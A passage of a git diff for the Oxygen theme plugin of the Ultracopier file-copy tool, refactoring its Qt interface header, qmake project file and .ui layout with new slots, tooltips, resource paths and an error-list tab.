- void newLanguageLoaded();
+ /// \brief set the translate
+ void newLanguageLoaded();
private slots:
- void on_putOnTop_clicked();
- void on_pushUp_clicked();
- void on_pushDown_clicked();
- void on_putOnBottom_clicked();
- void on_del_clicked();
- void on_cancelButton_clicked();
- void on_checkBoxShowSpeed_toggled(bool checked);
- void on_SliderSpeed_valueChanged(int value);
- void on_pauseButton_clicked();
- void on_skipButton_clicked();
- void forcedModeAddFile();
- void forcedModeAddFolder();
- void forcedModeAddFileToCopy();
- void forcedModeAddFolderToCopy();
- void forcedModeAddFileToMove();
- void forcedModeAddFolderToMove();
- void uiUpdateSpeed();
- void on_pushButtonCloseSearch_clicked();
- //close the search box
- void closeTheSearchBox();
- //search box shortcut
- void searchBoxShortcut();
- //hilight the search
- void hilightTheSearch(bool searchNext=false);
- //auto connect
- void on_pushButtonSearchPrev_clicked();
- void on_pushButtonSearchNext_clicked();
- void on_lineEditSearch_returnPressed();
- void on_lineEditSearch_textChanged(QString text);
- void on_moreButton_toggled(bool checked);
- void on_comboBox_copyErrors_currentIndexChanged(int index);
- void on_comboBox_fileCollisions_currentIndexChanged(int index);
- void on_searchButton_toggled(bool checked);
- void on_exportTransferList_clicked();
- void on_importTransferList_clicked();
+ void on_putOnTop_clicked();
+ void on_pushUp_clicked();
+ void on_pushDown_clicked();
+ void on_putOnBottom_clicked();
+ void on_del_clicked();
+ void on_cancelButton_clicked();
+ void speedWithProgressBar_toggled(bool checked);
+ void showDualProgression_toggled(bool checked);
+ void checkBoxShowSpeed_toggled(bool checked);
+ void on_SliderSpeed_valueChanged(int value);
+ void on_pauseButton_clicked();
+ void on_skipButton_clicked();
+ void forcedModeAddFile();
+ void forcedModeAddFolder();
+ void forcedModeAddFileToCopy();
+ void forcedModeAddFolderToCopy();
+ void forcedModeAddFileToMove();
+ void forcedModeAddFolderToMove();
+ void uiUpdateSpeed();
+ void on_pushButtonCloseSearch_clicked();
+ //close the search box
+ void closeTheSearchBox();
+ //search box shortcut
+ void searchBoxShortcut();
+ //hilight the search
+ void hilightTheSearch(bool searchNext=false);
+ void hilightTheSearchSlot();
+ //auto connect
+ void on_pushButtonSearchPrev_clicked();
+ void on_pushButtonSearchNext_clicked();
+ void on_lineEditSearch_returnPressed();
+ void on_lineEditSearch_textChanged(QString text);
+ void on_moreButton_toggled(bool checked);
+ void on_searchButton_toggled(bool checked);
+ void on_exportTransferList_clicked();
+ void on_importTransferList_clicked();
+ void progressColorWrite_clicked();
+ void progressColorRead_clicked();
+ void progressColorRemaining_clicked();
+ void alwaysOnTop_clicked(bool reshow);
+ void alwaysOnTop_clickedSlot();
+ void updateProgressionColorBar();
+ void updateTitle();
+ void catchAction(QSystemTrayIcon::ActivationReason reason);
+ void on_exportErrorToTransferList_clicked();
private:
- Ui::interfaceCopy *ui;
- quint64 currentFile;
- quint64 totalFile;
- quint64 currentSize;
- quint64 totalSize;
- void updateOverallInformation();
- void updateCurrentFileInformation();
- QMenu *menu;
- EngineActionInProgress action;
- void closeEvent(QCloseEvent *event);
- qint64 currentSpeed;///< in KB/s, assume as 0KB/s as default like every where
- void updateSpeed();
- bool storeIsInPause;
- bool modeIsForced;
- CopyType type;
- CopyMode mode;
- void updateModeAndType();
- bool haveStarted;
- bool haveError;
- QWidget optionEngineWidget;
- QShortcut *searchShortcut;
- QShortcut *searchShortcut2;
- QShortcut *searchShortcut3;
- QTimer *TimerForSearch;
- int currentIndexSearch; ///< Current index search in starting at the end
- FacilityInterface * facilityEngine;
- QIcon player_play,player_pause;
- QItemSelectionModel *selectionModel;
- QModelIndexList selectedItems;
- //temp variables
- int loop_size,loop_sub_size,index,indexAction;
- QList<int> ids;
- quint64 baseRow,addRow,removeRow;
- /// \brief the custom transfer model
- TransferModel transferModel;
- /** \brief drag event processing
+ QTime duration;
+ bool durationStarted;
+ QPixmap pixmapTop,pixmapBottom;
+ QColor progressColorWrite,progressColorRead,progressColorRemaining;
+ Ui::interfaceCopy *ui;
+ Ui::themesOptions *uiOptions;
+ quint64 currentFile;
+ quint64 totalFile;
+ quint64 currentSize;
+ quint64 totalSize;
+ quint8 getOldProgression;
+ QSystemTrayIcon *sysTrayIcon;
+ void updateOverallInformation();
+ void updateCurrentFileInformation();
+ QMenu *menu;
+ Ultracopier::EngineActionInProgress action;
+ void closeEvent(QCloseEvent *event);
+ qint32 currentSpeed;///< in KB/s, assume as 0KB/s as default like every where
+ void updateSpeed();
+ bool storeIsInPause;
+ bool modeIsForced;
+ Ultracopier::CopyType type;
+ Ultracopier::CopyMode mode;
+ void updateModeAndType();
+ bool haveStarted;
+ bool haveError;
+ QWidget optionEngineWidget;
+ QShortcut *searchShortcut;
+ QShortcut *searchShortcut2;
+ QShortcut *searchShortcut3;
+ QTimer *TimerForSearch;
+ int currentIndexSearch; ///< Current index search in starting at the end
+ FacilityInterface * facilityEngine;
+ QItemSelectionModel *selectionModel;
+ QModelIndexList selectedItems;
+ /// \brief the custom transfer model
+ TransferModel transferModel;
- need setAcceptDrops(true); into the constructor
- need implementation to accept the drop:
- void dragEnterEvent(QDragEnterEvent* event);
- void dragMoveEvent(QDragMoveEvent* event);
- void dragLeaveEvent(QDragLeaveEvent* event);
- */
- void dropEvent(QDropEvent *event);
- /** \brief accept all event to allow the drag and drop
- \see dropEvent() */
- void dragEnterEvent(QDragEnterEvent* event);
- /** \brief accept all event to allow the drag and drop
- \see dropEvent() */
- void dragMoveEvent(QDragMoveEvent* event);
- /** \brief accept all event to allow the drag and drop
- \see dropEvent() */
- void dragLeaveEvent(QDragLeaveEvent* event);
- //have functionality
- bool shutdown;
+ static QIcon player_play,player_pause,tempExitIcon,editDelete,skinIcon,editFind,documentOpen,documentSave,listAdd;
+ static bool iconLoaded;
+
+ /** \brief drag event processing
+
+ need setAcceptDrops(true); into the constructor
+ need implementation to accept the drop:
+ void dragEnterEvent(QDragEnterEvent* event);
+ void dragMoveEvent(QDragMoveEvent* event);
+ void dragLeaveEvent(QDragLeaveEvent* event);
+ */
+ void dropEvent(QDropEvent *event);
+ /** \brief accept all event to allow the drag and drop
+ \see dropEvent() */
+ void dragEnterEvent(QDragEnterEvent* event);
+ /** \brief accept all event to allow the drag and drop
+ \see dropEvent() */
+ void dragMoveEvent(QDragMoveEvent* event);
+ /** \brief accept all event to allow the drag and drop
+ \see dropEvent() */
+ void dragLeaveEvent(QDragLeaveEvent* event);
+ //have functionality
+ bool shutdown;
+ void updatePause();
+ QIcon dynaIcon(int percent,QString text="") const;
+ void updateSysTrayIcon();
signals:
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- /// \brief To debug source
- void debugInformation(DebugLevel level,QString fonction,QString text,QString file,int ligne);
- #endif
- //set the transfer list
- void removeItems(QList<int> ids);
- void moveItemsOnTop(QList<int> ids);
- void moveItemsUp(QList<int> ids);
- void moveItemsDown(QList<int> ids);
- void moveItemsOnBottom(QList<int> ids);
- void exportTransferList();
- void importTransferList();
- //user ask ask to add folder (add it with interface ask source/destination)
- void userAddFolder(CopyMode);
- void userAddFile(CopyMode);
- void urlDropped(QList<QUrl> urls);
- //action on the copy
- void pause();
- void resume();
- void skip(quint64 id);
- void cancel();
- //edit the action
- void sendCollisionAction(QString action);
- void sendErrorAction(QString action);
- void newSpeedLimitation(qint64);
+ /// \brief To debug source
+ void debugInformation(const Ultracopier::DebugLevel &level,const QString &fonction,const QString &text,const QString &file,const int &ligne) const;
};
#endif // INTERFACE_H
diff --git a/plugins/Themes/Oxygen/interface.pro b/plugins/Themes/Oxygen/interface.pro
index dda4098..8ddf147 100644
--- a/plugins/Themes/Oxygen/interface.pro
+++ b/plugins/Themes/Oxygen/interface.pro
@@ -1,47 +1,59 @@
+CONFIG += c++11
+QMAKE_CXXFLAGS+="-std=c++0x -Wall -Wextra"
+mac:QMAKE_CXXFLAGS+="-stdlib=libc++"
+
+QT += widgets
TEMPLATE = lib
CONFIG += plugin
-HEADERS = interface.h \
- StructEnumDefinition.h \
- factory.h \
+HEADERS = ThemesFactory.h \
+ StructEnumDefinition.h \
DebugEngineMacro.h \
Environment.h \
Variable.h \
../../../interface/PluginInterface_Themes.h \
../../../interface/FacilityInterface.h \
../../../interface/OptionInterface.h \
- TransferModel.h
-SOURCES = interface.cpp \
- factory.cpp \
- TransferModel.cpp
+ TransferModel.h \
+ interface.h
+SOURCES = ThemesFactory.cpp \
+ TransferModel.cpp \
+ interface.cpp
TARGET = $$qtLibraryTarget(interface)
-TRANSLATIONS += Languages/fr/translation.ts \
- Languages/ar/translation.ts \
- Languages/zh/translation.ts \
- Languages/es/translation.ts \
+TRANSLATIONS += Languages/ar/translation.ts \
Languages/de/translation.ts \
Languages/el/translation.ts \
+ Languages/en/translation.ts \
+ Languages/es/translation.ts \
+ Languages/fr/translation.ts \
+ Languages/hi/translation.ts \
+ Languages/hu/translation.ts \
+ Languages/id/translation.ts \
Languages/it/translation.ts \
Languages/ja/translation.ts \
- Languages/id/translation.ts \
- Languages/pl/translation.ts \
- Languages/ru/translation.ts \
- Languages/tr/translation.ts \
- Languages/th/translation.ts \
- Languages/hi/translation.ts \
+ Languages/ko/translation.ts \
Languages/nl/translation.ts \
Languages/no/translation.ts \
+ Languages/pl/translation.ts \
Languages/pt/translation.ts \
- Languages/ko/translation.ts
+ Languages/ru/translation.ts \
+ Languages/th/translation.ts \
+ Languages/tr/translation.ts \
+ Languages/zh/translation.ts
win32 {
- RESOURCES += resources_windows.qrc
+ RESOURCES +=
}
!win32 {
- RESOURCES += resources_unix.qrc
+ RESOURCES +=
}
-RESOURCES += resources.qrc
+!CONFIG(static) {
+RESOURCES += \
+ interfaceResources.qrc \
+ interfaceResources_unix.qrc \
+ interfaceResources_windows.qrc
+}
FORMS += \
interface.ui \
- options.ui
+ themesOptions.ui
diff --git a/plugins/Themes/Oxygen/interface.ui b/plugins/Themes/Oxygen/interface.ui
index ae628ba..ef07b17 100644
--- a/plugins/Themes/Oxygen/interface.ui
+++ b/plugins/Themes/Oxygen/interface.ui
@@ -6,7 +6,7 @@
<rect>
<x>0</x>
<y>0</y>
- <width>483</width>
+ <width>508</width>
<height>448</height>
</rect>
</property>
@@ -14,8 +14,8 @@
<string notr="true">Ultracopier</string>
</property>
<property name="windowIcon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/main.png</normaloff>:/resources/main.png</iconset>
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Oxygen/resources/main.png</normaloff>:/Themes/Oxygen/resources/main.png</iconset>
</property>
<layout class="QVBoxLayout">
<property name="spacing">
@@ -38,23 +38,19 @@
</item>
<item>
<widget class="QLabel" name="from">
+ <property name="sizePolicy">
+ <sizepolicy hsizetype="Expanding" vsizetype="Preferred">
+ <horstretch>0</horstretch>
+ <verstretch>0</verstretch>
+ </sizepolicy>
+ </property>
<property name="text">
<string/>
</property>
- </widget>
- </item>
- <item>
- <spacer name="horizontalSpacer_5">
- <property name="orientation">
- <enum>Qt::Horizontal</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>40</width>
- <height>20</height>
- </size>
+ <property name="textFormat">
+ <enum>Qt::PlainText</enum>
</property>
- </spacer>
+ </widget>
</item>
</layout>
</item>
@@ -72,23 +68,19 @@
</item>
<item>
<widget class="QLabel" name="to">
+ <property name="sizePolicy">
+ <sizepolicy hsizetype="Expanding" vsizetype="Preferred">
+ <horstretch>0</horstretch>
+ <verstretch>0</verstretch>
+ </sizepolicy>
+ </property>
<property name="text">
<string/>
</property>
- </widget>
- </item>
- <item>
- <spacer name="horizontalSpacer_4">
- <property name="orientation">
- <enum>Qt::Horizontal</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>40</width>
- <height>20</height>
- </size>
+ <property name="textFormat">
+ <enum>Qt::PlainText</enum>
</property>
- </spacer>
+ </widget>
</item>
</layout>
</item>
@@ -99,26 +91,19 @@
<property name="text">
<string notr="true">File 0/0, Total: 0KB</string>
</property>
+ <property name="textFormat">
+ <enum>Qt::PlainText</enum>
+ </property>
</widget>
</item>
<item>
<widget class="QLabel" name="labelTimeRemaining">
- <property name="text">
- <string notr="true">&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt;
-&lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt;
-p, li { white-space: pre-wrap; }
-&lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:'Sans Serif'; font-size:9pt; font-weight:400; font-style:normal;&quot;&gt;
-&lt;p style=&quot; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;&quot;&gt;0:0:0&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string>
- </property>
<property name="textFormat">
<enum>Qt::RichText</enum>
</property>
<property name="alignment">
<set>Qt::AlignRight|Qt::AlignTrailing|Qt::AlignVCenter</set>
</property>
- <property name="wordWrap">
- <bool>true</bool>
- </property>
</widget>
</item>
<item>
@@ -130,11 +115,11 @@ p, li { white-space: pre-wrap; }
</size>
</property>
<property name="toolTip">
- <string>Shutdown when is finish</string>
+ <string>Close on transfer completion</string>
</property>
<property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/SystemTrayIcon/exit.png</normaloff>:/resources/SystemTrayIcon/exit.png</iconset>
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Oxygen/resources/SystemTrayIcon/exit.png</normaloff>:/Themes/Oxygen/resources/SystemTrayIcon/exit.png</iconset>
</property>
<property name="checkable">
<bool>true</bool>
@@ -164,6 +149,9 @@ p, li { white-space: pre-wrap; }
<property name="text">
<string notr="true">File Name, 0KB</string>
</property>
+ <property name="textFormat">
+ <enum>Qt::PlainText</enum>
+ </property>
</widget>
</item>
<item>
@@ -180,12 +168,28 @@ p, li { white-space: pre-wrap; }
</widget>
</item>
<item>
+ <widget class="QLabel" name="ad_ultimate">
+ <property name="textFormat">
+ <enum>Qt::RichText</enum>
+ </property>
+ <property name="openExternalLinks">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item>
<layout class="QHBoxLayout">
<property name="spacing">
<number>4</number>
</property>
<item>
<widget class="QLabel" name="currentSpeed">
+ <property name="sizePolicy">
+ <sizepolicy hsizetype="Expanding" vsizetype="Preferred">
+ <horstretch>0</horstretch>
+ <verstretch>0</verstretch>
+ </sizepolicy>
+ </property>
<property name="minimumSize">
<size>
<width>60</width>
@@ -193,22 +197,28 @@ p, li { white-space: pre-wrap; }
</size>
</property>
<property name="text">
- <string>0KB/sec</string>
+ <string notr="true">0KB/sec</string>
</property>
</widget>
</item>
<item>
- <spacer>
- <property name="orientation">
- <enum>Qt::Horizontal</enum>
- </property>
- <property name="sizeHint" stdset="0">
+ <widget class="QProgressBar" name="progressBarCurrentSpeed">
+ <property name="maximumSize">
<size>
- <width>40</width>
- <height>20</height>
+ <width>16777215</width>
+ <height>16</height>
</size>
</property>
- </spacer>
+ <property name="maximum">
+ <number>1</number>
+ </property>
+ <property name="value">
+ <number>0</number>
+ </property>
+ <property name="format">
+ <string notr="true">0KB/sec</string>
+ </property>
+ </widget>
</item>
<item>
<widget class="QPushButton" name="moreButton">
@@ -216,8 +226,8 @@ p, li { white-space: pre-wrap; }
<string>&amp;More</string>
</property>
<property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/moveDown.png</normaloff>:/resources/moveDown.png</iconset>
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Oxygen/resources/moveDown.png</normaloff>:/Themes/Oxygen/resources/moveDown.png</iconset>
</property>
<property name="checkable">
<bool>true</bool>
@@ -236,8 +246,8 @@ p, li { white-space: pre-wrap; }
<string>&amp;Pause</string>
</property>
<property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/player_pause.png</normaloff>:/resources/player_pause.png</iconset>
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Oxygen/resources/player_pause.png</normaloff>:/Themes/Oxygen/resources/player_pause.png</iconset>
</property>
</widget>
</item>
@@ -250,8 +260,8 @@ p, li { white-space: pre-wrap; }
<string>&amp;Skip</string>
</property>
<property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/player_end.png</normaloff>:/resources/player_end.png</iconset>
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Oxygen/resources/player_end.png</normaloff>:/Themes/Oxygen/resources/player_end.png</iconset>
</property>
</widget>
</item>
@@ -261,8 +271,8 @@ p, li { white-space: pre-wrap; }
<string>&amp;Cancel</string>
</property>
<property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/cancel.png</normaloff>:/resources/cancel.png</iconset>
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Oxygen/resources/cancel.png</normaloff>:/Themes/Oxygen/resources/cancel.png</iconset>
</property>
</widget>
</item>
@@ -273,7 +283,7 @@ p, li { white-space: pre-wrap; }
<item>
<widget class="QLabel" name="label_Slider_speed">
<property name="text">
- <string>Limit copy speed at:</string>
+ <string>Limit copy speed to:</string>
</property>
</widget>
</item>
@@ -290,7 +300,7 @@ p, li { white-space: pre-wrap; }
<item>
<widget class="QLabel" name="label_SpeedMaxValue">
<property name="text">
- <string>Unlimited</string>
+ <string notr="true">Unlimited</string>
</property>
</widget>
</item>
@@ -314,13 +324,9 @@ p, li { white-space: pre-wrap; }
<property name="currentIndex">
<number>0</number>
</property>
- <widget class="QWidget" name="tab">
- <attribute name="icon">
- <iconset>
- <normaloff>:/styles/kde3/player_playlist.png</normaloff>:/styles/kde3/player_playlist.png</iconset>
- </attribute>
+ <widget class="QWidget" name="tab_main">
<attribute name="title">
- <string>Copy list</string>
+ <string>Transfer list</string>
</attribute>
<layout class="QHBoxLayout">
<item>
@@ -342,9 +348,12 @@ p, li { white-space: pre-wrap; }
<height>22</height>
</size>
</property>
+ <property name="toolTip">
+ <string>Move the selected items to the top</string>
+ </property>
<property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/putOnTop.png</normaloff>:/resources/putOnTop.png</iconset>
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Oxygen/resources/putOnTop.png</normaloff>:/Themes/Oxygen/resources/putOnTop.png</iconset>
</property>
<property name="autoRaise">
<bool>true</bool>
@@ -365,9 +374,12 @@ p, li { white-space: pre-wrap; }
<height>22</height>
</size>
</property>
+ <property name="toolTip">
+ <string>Move up the selected items</string>
+ </property>
<property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/moveUp.png</normaloff>:/resources/moveUp.png</iconset>
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Oxygen/resources/moveUp.png</normaloff>:/Themes/Oxygen/resources/moveUp.png</iconset>
</property>
<property name="autoRaise">
<bool>true</bool>
@@ -388,9 +400,12 @@ p, li { white-space: pre-wrap; }
<height>22</height>
</size>
</property>
+ <property name="toolTip">
+ <string>Move down the selected items</string>
+ </property>
<property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/moveDown.png</normaloff>:/resources/moveDown.png</iconset>
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Oxygen/resources/moveDown.png</normaloff>:/Themes/Oxygen/resources/moveDown.png</iconset>
</property>
<property name="autoRaise">
<bool>true</bool>
@@ -411,9 +426,12 @@ p, li { white-space: pre-wrap; }
<height>22</height>
</size>
</property>
+ <property name="toolTip">
+ <string>Move the selected items to the bottom</string>
+ </property>
<property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/putOnBottom.png</normaloff>:/resources/putOnBottom.png</iconset>
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Oxygen/resources/putOnBottom.png</normaloff>:/Themes/Oxygen/resources/putOnBottom.png</iconset>
</property>
<property name="autoRaise">
<bool>true</bool>
@@ -434,9 +452,12 @@ p, li { white-space: pre-wrap; }
<height>22</height>
</size>
</property>
+ <property name="toolTip">
+ <string>Add file/folder</string>
+ </property>
<property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/add.png</normaloff>:/resources/add.png</iconset>
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Oxygen/resources/add.png</normaloff>:/Themes/Oxygen/resources/add.png</iconset>
</property>
<property name="popupMode">
<enum>QToolButton::InstantPopup</enum>
@@ -460,9 +481,12 @@ p, li { white-space: pre-wrap; }
<height>22</height>
</size>
</property>
+ <property name="toolTip">
+ <string>Delete the selected items</string>
+ </property>
<property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/remove.png</normaloff>:/resources/remove.png</iconset>
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Oxygen/resources/remove.png</normaloff>:/Themes/Oxygen/resources/remove.png</iconset>
</property>
<property name="autoRaise">
<bool>true</bool>
@@ -484,11 +508,11 @@ p, li { white-space: pre-wrap; }
</size>
</property>
<property name="toolTip">
- <string>Ctrl+F</string>
+ <string>Search</string>
</property>
<property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/search.png</normaloff>:/resources/search.png</iconset>
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Oxygen/resources/search.png</normaloff>:/Themes/Oxygen/resources/search.png</iconset>
</property>
<property name="checkable">
<bool>true</bool>
@@ -512,9 +536,12 @@ p, li { white-space: pre-wrap; }
<height>22</height>
</size>
</property>
+ <property name="toolTip">
+ <string>Export the transfer list</string>
+ </property>
<property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/export-transfer-list.png</normaloff>:/resources/export-transfer-list.png</iconset>
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Oxygen/resources/export-transfer-list.png</normaloff>:/Themes/Oxygen/resources/export-transfer-list.png</iconset>
</property>
<property name="autoRaise">
<bool>true</bool>
@@ -535,9 +562,12 @@ p, li { white-space: pre-wrap; }
<height>22</height>
</size>
</property>
+ <property name="toolTip">
+ <string>Import the transfer list</string>
+ </property>
<property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/import-transfer-list.png</normaloff>:/resources/import-transfer-list.png</iconset>
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Oxygen/resources/import-transfer-list.png</normaloff>:/Themes/Oxygen/resources/import-transfer-list.png</iconset>
</property>
<property name="autoRaise">
<bool>true</bool>
@@ -614,8 +644,8 @@ p, li { white-space: pre-wrap; }
</size>
</property>
<property name="icon">
- <iconset resource="resources.qrc">
- <normaloff>:/resources/remove.png</normaloff>:/resources/remove.png</iconset>
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Oxygen/resources/remove.png</normaloff>:/Themes/Oxygen/resources/remove.png</iconset>
</property>
<property name="flat">
<bool>true</bool>
@@ -628,339 +658,111 @@ p, li { white-space: pre-wrap; }
</item>
</layout>
</widget>
- <widget class="QWidget" name="tab_2">
- <attribute name="icon">
- <iconset>
- <normaloff>:/styles/kde3/tools.png</normaloff>:/styles/kde3/tools.png</iconset>
- </attribute>
+ <widget class="QWidget" name="tab_error">
<attribute name="title">
- <string>Options</string>
+ <string>Error</string>
</attribute>
- <layout class="QVBoxLayout">
- <property name="spacing">
- <number>3</number>
- </property>
+ <layout class="QHBoxLayout" name="horizontalLayout">
<item>
- <widget class="QGroupBox" name="groupBoxCopyEnd">
- <property name="title">
- <string>Copy end</string>
- </property>
- <layout class="QHBoxLayout">
- <property name="spacing">
- <number>2</number>
- </property>
- <property name="leftMargin">
- <number>2</number>
- </property>
- <property name="topMargin">
- <number>0</number>
- </property>
- <property name="rightMargin">
- <number>2</number>
- </property>
- <property name="bottomMargin">
- <number>1</number>
- </property>
- <item>
- <widget class="QLabel" name="label_copyEnd">
- <property name="text">
- <string>At the end of the copy: </string>
- </property>
- </widget>
- </item>
- <item>
- <spacer>
- <property name="orientation">
- <enum>Qt::Horizontal</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>16</width>
- <height>20</height>
- </size>
- </property>
- </spacer>
- </item>
- <item>
- <widget class="QComboBox" name="comboBox_copyEnd">
- <property name="sizePolicy">
- <sizepolicy hsizetype="Fixed" vsizetype="Fixed">
- <horstretch>0</horstretch>
- <verstretch>0</verstretch>
- </sizepolicy>
- </property>
- <property name="minimumSize">
- <size>
- <width>210</width>
- <height>0</height>
- </size>
- </property>
- <property name="maximumSize">
- <size>
- <width>210</width>
- <height>22</height>
- </size>
- </property>
- <item>
- <property name="text">
- <string>Don't close if errors are found</string>
- </property>
- </item>
- <item>
- <property name="text">
- <string>Never close</string>
- </property>
- </item>
- <item>
- <property name="text">
- <string>Always close</string>
- </property>
- </item>
- </widget>
- </item>
- </layout>
- </widget>
+ <layout class="QVBoxLayout" name="verticalLayout">
+ <item>
+ <widget class="QToolButton" name="exportErrorToTransferList">
+ <property name="minimumSize">
+ <size>
+ <width>22</width>
+ <height>22</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>22</width>
+ <height>22</height>
+ </size>
+ </property>
+ <property name="toolTip">
+ <string>Export the errors into transfer list</string>
+ </property>
+ <property name="icon">
+ <iconset resource="interfaceResources.qrc">
+ <normaloff>:/Themes/Oxygen/resources/export-transfer-list.png</normaloff>:/Themes/Oxygen/resources/export-transfer-list.png</iconset>
+ </property>
+ <property name="autoRaise">
+ <bool>true</bool>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <spacer name="verticalSpacer">
+ <property name="orientation">
+ <enum>Qt::Vertical</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>20</width>
+ <height>40</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ </layout>
</item>
<item>
- <widget class="QGroupBox" name="groupBoxSpeedLimit">
- <property name="title">
- <string>Speed limit</string>
+ <widget class="QTreeWidget" name="errorList">
+ <property name="selectionMode">
+ <enum>QAbstractItemView::NoSelection</enum>
</property>
- <layout class="QHBoxLayout">
- <property name="spacing">
- <number>2</number>
- </property>
- <property name="leftMargin">
- <number>2</number>
- </property>
- <property name="topMargin">
- <number>0</number>
- </property>
- <property name="rightMargin">
- <number>2</number>
- </property>
- <property name="bottomMargin">
- <number>1</number>
- </property>
- <item>
- <widget class="QCheckBox" name="checkBox_limitSpeed">
- <property name="text">
- <string>Limit copy speed at:</string>
- </property>
- </widget>
- </item>
- <item>
- <widget class="QSpinBox" name="limitSpeed">
- <property name="enabled">
- <bool>false</bool>
- </property>
- <property name="suffix">
- <string> KB/s</string>
- </property>
- <property name="minimum">
- <number>1</number>
- </property>
- <property name="maximum">
- <number>999999</number>
- </property>
- </widget>
- </item>
- <item>
- <spacer>
- <property name="orientation">
- <enum>Qt::Horizontal</enum>
- </property>
- <property name="sizeType">
- <enum>QSizePolicy::Fixed</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>138</width>
- <height>10</height>
- </size>
- </property>
- </spacer>
- </item>
- </layout>
- </widget>
- </item>
- <item>
- <widget class="QGroupBox" name="groupBoxFileCollisions">
- <property name="title">
- <string>File collisions</string>
+ <property name="rootIsDecorated">
+ <bool>false</bool>
</property>
- <layout class="QHBoxLayout">
- <property name="spacing">
- <number>2</number>
- </property>
- <property name="leftMargin">
- <number>2</number>
- </property>
- <property name="topMargin">
- <number>0</number>
- </property>
- <property name="rightMargin">
- <number>2</number>
- </property>
- <property name="bottomMargin">
- <number>1</number>
- </property>
- <item>
- <widget class="QLabel" name="label_fileCollisions">
- <property name="text">
- <string>What to do: </string>
- </property>
- </widget>
- </item>
- <item>
- <spacer>
- <property name="orientation">
- <enum>Qt::Horizontal</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>31</width>
- <height>20</height>
- </size>
- </property>
- </spacer>
- </item>
- <item>
- <widget class="QComboBox" name="comboBox_fileCollisions">
- <property name="minimumSize">
- <size>
- <width>210</width>
- <height>0</height>
- </size>
- </property>
- <property name="maximumSize">
- <size>
- <width>16777215</width>
- <height>22</height>
- </size>
- </property>
- </widget>
- </item>
- </layout>
- </widget>
- </item>
- <item>
- <widget class="QGroupBox" name="groupBoxCopyErrors">
- <property name="title">
- <string>Copy errors</string>
+ <property name="uniformRowHeights">
+ <bool>true</bool>
</property>
- <layout class="QHBoxLayout">
- <property name="spacing">
- <number>2</number>
+ <column>
+ <property name="text">
+ <string>Source</string>
</property>
- <property name="leftMargin">
- <number>2</number>
+ </column>
+ <column>
+ <property name="text">
+ <string>Destination</string>
</property>
- <property name="topMargin">
- <number>0</number>
+ </column>
+ <column>
+ <property name="text">
+ <string>Error</string>
</property>
- <property name="rightMargin">
- <number>2</number>
- </property>
- <property name="bottomMargin">
- <number>1</number>
- </property>
- <item>
- <widget class="QLabel" name="label_copyErrors">
- <property name="text">
- <string>What to do: </string>
- </property>
- </widget>
- </item>
- <item>
- <spacer>
- <property name="orientation">
- <enum>Qt::Horizontal</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>40</width>
- <height>20</height>
- </size>
- </property>
- </spacer>
- </item>
- <item>
- <widget class="QComboBox" name="comboBox_copyErrors">
- <property name="minimumSize">
- <size>
- <width>210</width>
- <height>0</height>
- </size>
- </property>
- <property name="maximumSize">
- <size>
- <width>210</width>
- <height>22</height>
- </size>
- </property>
- </widget>
- </item>
- </layout>
+ </column>
</widget>
</item>
- <item>
- <spacer>
- <property name="orientation">
- <enum>Qt::Vertical</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>360</width>
- <height>21</height>
- </size>
- </property>
- </spacer>
- </item>
</layout>
</widget>
- <widget class="QWidget" name="tab_3">
